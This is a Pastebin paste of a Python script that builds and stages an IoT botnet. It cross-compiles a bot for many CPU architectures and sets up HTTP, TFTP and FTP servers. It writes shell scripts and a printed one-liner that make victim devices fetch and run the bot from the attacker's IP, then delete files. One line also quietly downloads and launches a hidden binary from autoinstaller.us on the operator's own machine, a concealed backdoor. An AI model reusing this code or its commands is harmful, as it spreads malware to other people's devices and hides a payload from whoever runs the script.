Advertisement
ZucoCheezy

cc8

Nov 26th, 2018
182
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.14 KB | None | 0 0
  1. #Python auto cross compiler by void
  2.  
  3. import subprocess, sys
  4.  
  5. if len(sys.argv[2]) != 0:
  6.     ip = sys.argv[2]
  7. else:
  8.     print("\x1b[0;31mIncorrect Usage!")
  9.     print("\x1b[0;32mUsage: python " + sys.argv[0] + " <botname.c> <host ip> \x1b[0m")
  10.     exit(1)
  11.    
  12. bot = sys.argv[1]
  13.  
  14. yourafag = raw_input("Get arch's? Y/n:")
  15. if yourafag.lower() == "y":
  16.     get_arch = True
  17. else:
  18.     get_arch = False
  19.  
  20. compileas = ["mips", #mips
  21.              "mipsel", #mipsel
  22.              "sh4", #sh4
  23.              "x86", #x86
  24.              "i686", #i686
  25.              "ppc", #ppc
  26.              "i586", #i586
  27.              "m68k", #m68k
  28.             ]
  29.  
  30. getarch = [
  31.     'http://landley.net/aboriginal/downloads/binaries/cross-compiler-mips.tar.gz',
  32.     'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-mipsel.tar.bz2',
  33.     'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-mipsel.tar.bz2',
  34.     'http://landley.net/aboriginal/downloads/binaries/cross-compiler-x86_64.tar.gz',
  35.     'http://landley.net/aboriginal/downloads/binaries/cross-compiler-armv6l.tar.gz',
  36.     'http://landley.net/aboriginal/downloads/binaries/cross-compiler-i686.tar.gz',
  37.     'http://landley.net/aboriginal/downloads/binaries/cross-compiler-powerpc.tar.gz',
  38.     'http://landley.net/aboriginal/downloads/binaries/cross-compiler-i586.tar.gz',
  39.     'http://landley.net/aboriginal/downloads/binaries/cross-compiler-m68k.tar.gz',
  40.     'http://landley.net/aboriginal/downloads/binaries/cross-compiler-sparc.tar.gz',
  41.     'http://landley.net/aboriginal/downloads/binaries/cross-compiler-armv4l.tar.gz',
  42.     'http://landley.net/aboriginal/downloads/binaries/cross-compiler-armv5l.tar.gz',
  43.     'http://landley.net/aboriginal/downloads/binaries/cross-compiler-powerpc-440fp.tar.gz'
  44.           ]
  45.  
  46.  
  47. ccs = ["cross-compiler-mips",
  48.        "cross-compiler-mipsel",
  49.        "cross-compiler-sh4",
  50.        "cross-compiler-x86_64",
  51.        "cross-compiler-i686",
  52.        "cross-compiler-powerpc",
  53.        "cross-compiler-i586",
  54.        "cross-compiler-m68k",
  55.        "cross-compiler-sparc",
  56.        "cross-compiler-powerpc-440fp"]
  57.  
  58. def run(cmd):
  59.     subprocess.call(cmd, shell=True)
  60.  
  61. run("rm -rf /var/lib/tftpboot/* /var/ftp/*")
  62.  
  63. if get_arch == True:
  64.     run("rm -rf cross-compiler-*")
  65.     print("Downloading Architectures")
  66.  
  67.     for arch in getarch:
  68.         run("wget " + arch + " --no-check-certificate >> /dev/null")
  69.         run("tar -xvf *tar.bz2")
  70.         run("rm -rf *tar.bz2")
  71.  
  72.     print("Cross Compilers Downloaded...")
  73.  
  74. num = 0
  75. for cc in ccs:
  76.     arch = cc.split("-")[2]
  77.     run("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + " -o " + compileas[num] + " " + bot + " > /dev/null")
  78.     num += 1
  79.  
  80. print("Cross Compiling Done!")
  81. print("Setting up your httpd and tftp")
  82.  
  83. run("yum install httpd -y")
  84. run("service httpd start")
  85. run("yum install xinetd tftp tftp-server -y")
  86. run("yum install vsftpd -y")
  87. run("service vsftpd start")
  88.  
  89. run('''echo -e "# default: off
  90. # description: The tftp server serves files using the trivial file transfer \
  91. #       protocol.  The tftp protocol is often used to boot diskless \
  92. #       workstations, download configuration files to network-aware printers, \
  93. #       and to start the installation process for some operating systems.
  94. service tftp
  95. {
  96.        socket_type             = dgram
  97.        protocol                = udp
  98.        wait                    = yes
  99.        user                    = root
  100.        server                  = /usr/sbin/in.tftpd
  101.        server_args             = -s -c /var/lib/tftpboot
  102.        disable                 = no
  103.        per_source              = 11
  104.        cps                     = 100 2
  105.        flags                   = IPv4
  106. }
  107. " > /etc/xinetd.d/tftp''')
  108. run("service xinetd start")
  109.  
  110. run('''echo -e "listen=YES
  111. local_enable=NO
  112. anonymous_enable=YES
  113. write_enable=NO
  114. anon_root=/var/ftp
  115. anon_max_rate=2048000
  116. xferlog_enable=YES
  117. listen_address='''+ ip +'''
  118. listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')
  119. run("service vsftpd restart")
  120.  
  121. for i in compileas:
  122.     run("cp " + i + " /var/www/html")
  123.     run("cp " + i + " /var/ftp")
  124.     run("mv " + i + " /var/lib/tftpboot")
  125.  
  126. run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp1.sh')
  127.  
  128. run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp1.sh')
  129.  
  130. run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp1.sh')
  131.  
  132. run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp2.sh')
  133.  
  134. run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp2.sh')
  135.  
  136. run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp2.sh')
  137.  
  138. run('echo -e "#!/bin/bash" > /var/www/html/bins.sh')
  139.  
  140. for i in compileas:
  141.     run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; curl -O http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/bins.sh')
  142.     run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; chmod 777 ' + i + ' ./' + i + '; rm -rf ' + i + '" >> /var/ftp/ftp1.sh')
  143.     run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp1.sh')
  144.     run("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  145.     run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp2.sh')
  146.  
  147. run("service xinetd restart")
  148. run("service httpd restart")
  149. run('echo -e "ulimit -n 99999" >> ~/.bashrc')
  150.  
  151. print("\x1b[0;32mSuccessfully cross compiled!\x1b[0m")
  152. print("\x1b[0;32mYour link: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://" + ip + "/bins.sh; curl -O http://" + ip + "/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp " + ip + " -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g " + ip + "; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 " + ip + " ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\x1b[0m")
  153. print
  154. print("\x1b[0;32mCoded By Vue\x1b[0m")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement